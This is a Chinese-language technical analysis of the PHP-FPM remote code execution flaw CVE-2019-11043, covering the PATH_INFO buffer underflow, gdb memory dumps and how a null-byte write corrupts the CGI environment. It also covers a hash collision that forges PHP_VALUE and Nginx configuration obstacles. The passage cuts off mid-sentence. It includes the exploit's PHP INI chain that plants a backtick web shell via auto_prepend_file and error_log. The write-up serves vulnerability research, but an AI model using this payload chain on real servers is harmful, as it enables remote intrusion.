PHP-FPM远程代码执行漏洞(CVE-2019-11043)分析与思考
首先,这是一个非常有趣的漏洞!从一个小小的内存缺陷到代码执行,它结合了二进制和Web技术,这也是为什么我感兴趣并深入追踪的原因。这只是一个简单的分析,你也可以查看漏洞报告和作者neex的利用代码来了解原始故事 :)
原本这篇分析应该更早发布,但我正在旅行,没有足够的时间。抱歉延迟了 :(
根本原因
PHP-FPM错误地处理了PATH_INFO,导致缓冲区下溢。虽然默认情况下并不脆弱,但仍然存在大量易受攻击的配置,这些配置是系统管理员从Google和StackOverflow复制粘贴的。
当fastcgi_split_path_info指令解析包含换行符的URI时,env_path_info变为空值。由于cgi.fix_pathinfo,空值被用于(fpm_main.c#L1151)稍后计算真实的path_info。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
int ptlen = strlen(pt);
int slen = len - ptlen;
int pilen = env_path_info ? strlen(env_path_info) : 0;
int tflag = 0;
char *path_info;
if (apache_was_here) {
/* recall that PATH_INFO won't exist */
path_info = script_path_translated + ptlen;
tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
} else {
path_info = env_path_info ? env_path_info + pilen - slen : NULL;
tflag = (orig_path_info != path_info);
}
|
请注意,pilen为零,slen是原始URI长度减去真实文件路径长度,因此存在缓冲区下溢。path_info可以指向它应该指向的位置之前。
利用
通过这种缓冲区下溢,我们获得了有限(且小)的缓冲区访问权限。我们能做什么?作者利用fpm_main.c#L1161进行进一步操作。
由于path_info指向PATH_INFO之前,我们可以向path_info之前的位置写入单个空字节。
A. 从空字节写入到CGI环境覆盖
好的,现在我们可以向PATH_INFO之前的某个位置写入单个空字节,然后呢?
在PHP-FPM中,CGI环境存储在fcgi_data_seg结构中,并由结构fcgi_hash管理。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
typedef struct _fcgi_data_seg {
char *pos;
char *end;
struct _fcgi_data_seg *next;
char data[1];
} fcgi_data_seg;
typedef struct _fcgi_hash {
fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
fcgi_hash_bucket *list;
fcgi_hash_buckets *buckets;
fcgi_data_seg *data;
} fcgi_hash;
|
内存中的fcgi_data_seg看起来像:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
gdb-peda$ p *request.env.data
$3 = {
pos = 0x556578555537 "7UUxeU",
end = 0x5565785564d8 "",
next = 0x556578554490,
data = "P"
}
gdb-peda$ x/50s request.env.data.data
0x5565785544a8: "FCGI_ROLE"
0x5565785544b2: "RESPONDER"
0x5565785544bc: "SCRIPT_FILENAME"
0x5565785544cc: "/var/www/html/test.php"
0x5565785544e3: "QUERY_STRING"
0x5565785544f0: ""
0x5565785544f1: "REQUEST_METHOD"
0x556578554500: "GET"
...
0x556578554656: "SERVER_NAME"
0x556578554662: "_"
0x556578554664: "REDIRECT_STATUS"
0x556578554674: "200"
0x556578554678: "PATH_INFO"
0x556578554682: "/", 'a' <repeats 13 times>, ".php" <--- `path_info`指向这里
0x556578554695: "HTTP_HOST"
0x55657855469f: "127.0.0.1"
|
结构成员fcgi_data_seg->pos指向当前缓冲区 - fcgi_data_seg->data,让PHP-FPM知道在哪里写入,而fcgi_data_seg->end指向缓冲区结束。如果缓冲区到达结束(pos > end),PHP-FPM会创建一个新缓冲区,并将前一个缓冲区移动到结构成员fcgi_data_seg->next。
所以,想法是让path_info指向fcgi_data_seg->pos的位置。一旦我们实现了这一点,我们就可以滥用CGI环境管理!例如,这里我们调整path_info指向fcgi_data_seg->pos。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
gdb-peda$ frame
#0 init_request_info () at /home/orange/php-src/sapi/fpm/fpm/fpm_main.c:1161
1161 path_info[0] = 0;
gdb-peda$ x/xg path_info
0x5565785554c0: 0x0000556578555537
gdb-peda$ x/g request.env.data
0x5565785554c0: 0x0000556578555537
gdb-peda$ p (fcgi_data_seg)*request.env.data
$2 = {
pos = 0x556578555537 "",
end = 0x5565785564d8 "",
next = 0x556578554490,
data = "P"
}
gdb-peda$ x/15s (char **)request.env.data.data
0x5565785554d8: "PATH_INFO"
0x5565785554e2: ""
0x5565785554e3: "HTTP_HOST"
0x5565785554ed: "127.0.0.1"
0x5565785554f7: "HTTP_ACCEPT_ENCODING"
0x55657855550c: 'A' <repeats 11 times>
0x556578555518: "HTTP_LAYS"
0x556578555522: "NOGG"
0x556578555527: "ORIG_PATH_INFO"
0x556578555536: ""
0x556578555537: "" <--- 原始的`request.env.data.pos`
0x556578555538: ""
0x556578555539: ""
0x55657855553a: ""
0x55657855553b: ""
|
这是request.env.data的内存布局。
一旦执行了行path_info[0] = 0;,内存布局变为:
由于request.env.data.pos已被写入,并更改为新位置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
gdb-peda$ next
...
gdb-peda$ p (fcgi_data_seg)*request.env.data
$4 = {
pos = 0x556578555500 "PT_ENCODING",
end = 0x5565785564d8 "",
next = 0x556578554490,
data = "P"
}
gdb-peda$ x/10s (char **)request.env.data.pos
0x556578555500: "PT_ENCODING"
0x55657855550c: 'A' <repeats 11 times>
0x556578555518: "HTTP_LAYS"
0x556578555522: "NOGG"
0x556578555527: "ORIG_PATH_INFO"
0x556578555536: ""
0x556578555537: ""
0x556578555538: ""
0x556578555539: ""
0x55657855553a: ""
|
如你所见,request.env.data.pos移动到了一个环境变量的中间。下次PHP-FPM放置新的CGI环境时,它将覆盖现有的环境。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
#define FCGI_PUTENV(request, name, value) \
fcgi_quick_putenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1), value)
char* fcgi_putenv(fcgi_request *req, char* var, int var_len, char* val)
{
if (!req) return NULL;
if (val == NULL) {
fcgi_hash_del(&req->env, FCGI_HASH_FUNC(var, var_len), var, var_len);
return NULL;
} else {
return fcgi_hash_set(&req->env, FCGI_HASH_FUNC(var, var_len), var, var_len, val, (unsigned int)strlen(val));
}
}
static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK;
fcgi_hash_bucket *p = h->hash_table[idx];
// ...
p->var = fcgi_hash_strndup(h, var, var_len);
p->val_len = val_len;
p->val = fcgi_hash_strndup(h, val, val_len);
return p->val;
}
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
char *ret;
// ...
ret = h->data->pos; <--- 我们破坏了`pos` :D
memcpy(ret, str, str_len);
ret[str_len] = 0;
h->data->pos += str_len + 1;
return ret;
}
|
幸运的是,在空字节写入之后有一个FCGI_PUTENV:
1
2
3
4
5
6
7
8
9
10
11
12
|
old = path_info[0];
path_info[0] = 0;
if (!orig_script_name ||
strcmp(orig_script_name, env_path_info) != 0) {
if (orig_script_name) {
FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name); <--- 这里
}
SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
} else {
SG(request_info).request_uri = orig_script_name;
}
path_info[0] = old;
|
它将名称ORIG_SCRIPT_NAME和我们可控的值放入CGI环境中,这样我们就可以覆盖一些重要的环境!…然后呢?
B. 从CGI环境覆盖到远程代码执行
现在我们可以覆盖环境,如何将其转化为RCE?
在空字节写入之后,PHP-FPM检索环境PHP_VALUE来初始化PHP内容。所以那是我们的目标!
然而,尽管我们可以覆盖环境数据,但伪造PHP_VALUE仍然不容易。我们不能仅仅将现有环境键覆盖为PHP_VALUE并获利。在检查源代码后,我们发现问题是PHP-FPM使用哈希表来管理环境。没有破坏表,我们就无法插入新环境!
PHP-FPM将每个环境变量存储在结构fcgi_hash_bucket中。
1
2
3
4
5
6
7
8
9
|
typedef struct _fcgi_hash_bucket {
unsigned int hash_value;
unsigned int var_len;
char *var;
unsigned int val_len;
char *val;
struct _fcgi_hash_bucket *next;
struct _fcgi_hash_bucket *list_next;
} fcgi_hash_bucket;
|
在PHP-FPM检索环境变量之前还有一些检查:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK;
fcgi_hash_bucket *p = h->hash_table[idx];
while (p != NULL) {
if (p->hash_value == hash_value &&
p->var_len == var_len &&
memcmp(p->var, var, var_len) == 0) {
*val_len = p->val_len;
return p->val;
}
p = p->next;
}
return NULL;
}
|
PHP-FPM首先从哈希表中检索环境结构,然后检查hash_value、var_len和内容。我们可以伪造内容,但如何伪造hash_value和var_len?好吧,让我们来做吧!
PHP-FPM中的哈希算法很简单。
1
2
3
4
5
6
|
#define FCGI_HASH_FUNC(var, var_len) \
(UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
(((unsigned int)var[3]) << 2) + \
(((unsigned int)var[var_len-2]) << 4) + \
(((unsigned int)var[var_len-1]) << 2) + \
var_len)
|
对于PHP_VALUE,其哈希值为(’_’«2) + (‘U’«4) + (‘E’«) + 9 = 2015。作者发送一个HTTP头HTTP_EBUT,其哈希值为(‘P’«2) + (‘U’«4) + (‘T’«2) + 9 = 2015。假头已存储在哈希表中。一旦我们触发漏洞并将HTTP_EBUT覆盖为PHP_VALUE,伪造的变量就变得有效!两个变量具有相同的hash_value和var_len,现在,它们具有相同的键内容!
我们现在可以创建任意的PHP_VALUE。获得代码执行似乎很容易!作者创建了一系列PHP INI链来获得代码执行。
1
2
3
4
5
6
7
8
9
10
11
|
var chain = []string{
"short_open_tag=1",
"html_errors=0",
"include_path=/tmp",
"auto_prepend_file=a",
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/a",
"extension_dir=\"<?=`\"",
"extension=\"$_GET[a]`?>\"",
}
|
编写有效的利用代码
好的,这里我们有所有细节。然而,编写利用代码仍然很困难。尽管我们的步骤很直接,但仍然有几个障碍使得利用不稳定且不可利用… :(
A. Nginx障碍
第一个障碍是Nginx配置。由于PHP是独立于Nginx的包,为了让Nginx处理PHP脚本,配置中需要许多设置。这里我们将配置分为4个方面。
-
是否支持PATH_INFO? 因为PATH_INFO不是必需的功能。如果Nginx配置中没有fastcgi_param PATH_INFO $blah;,你是安全的!
-
PHP分发器
为了将请求分发给PHP-FPM,系统管理员必须设置一个正则表达式来匹配URI。有几种方法可以捕获这一点,最常见的两种情况是:
-
Nginx官方手册中的设置
1
2
3
|
location ~ [^/]\.php(/|$) {
# ...
}
|
-
当前Linux发行版上的默认Nginx配置片段
1
2
3
|
location ~ \.php$ {
# ...
}
|
这两种方式在世界上都非常常见。尽管含义看起来相同,但利用方式完全不同!我们将在下一节介绍这一点。
-
文件是否存在?
默认的Nginx配置在发送到PHP-FPM之前检查文件是否存在。你可能会看到以下配置:
1
2
3
4
5
6
|
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
if (!-f $document_root$fastcgi_script_name) {
return 404;
}
}
|
或
1
2
3
4
|
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
try_files $fastcgi_script_name =404;
}
|
然而,由于可扩展性或性能问题,它仍然可能被移除。例如,想象一下Nginx和PHP-FPM不在同一台服务器上!
-
PATH_INFO顺序问题
从neex的利用代码中,他通过增加QUERY_STRING的长度来调整缓冲区。但是如果PATH_INFO在QUERY_STRING之前呢?你无法控制PATH_INFO到你想要的区域。实际上,在我默认安装在Ubuntu 18.04和16.04上的Nginx中,配置看起来像这样:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
# ------------------------------------
# /etc/nginx/sites-enabled/nginx.conf
location ~ \.php$ {
include snippets/fastcgi-php.conf;
# With php7.0-cgi alone:
fastcgi_pass 127.0.0.1:9000;
# With php7.0-fpm:
fastcgi_pass unix:/run/php/php7.0-fpm.sock;
}
# ------------------------------------
# /etc/nginx/snippets/fastcgi-php.conf
# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+\.php)(/.+)$;
# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
include fastcgi.conf;
# ------------------------------------
# /etc/nginx/fastcgi.conf
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param QUERY_STRING $query_string;
fastcgi_param REQUEST_METHOD $request_method;
fastcgi_param CONTENT_TYPE $content_type;
fastcgi_param CONTENT_LENGTH $content_length;
# ...
|
如你所见,PATH_INFO在QUERY_STRING之前定义,所以原始利用代码没有覆盖这一点。这也是我追踪这个漏洞的原因!
所以,Nginx配置极大地影响了这个漏洞。对于障碍No.1和No.3,这是无望且不可利用的。关于如何改进障碍No.2和No.4,我们留到最后一节!
然而,一个有趣的事实是,如果你通过apt包管理器在Ubuntu(16.04/18.04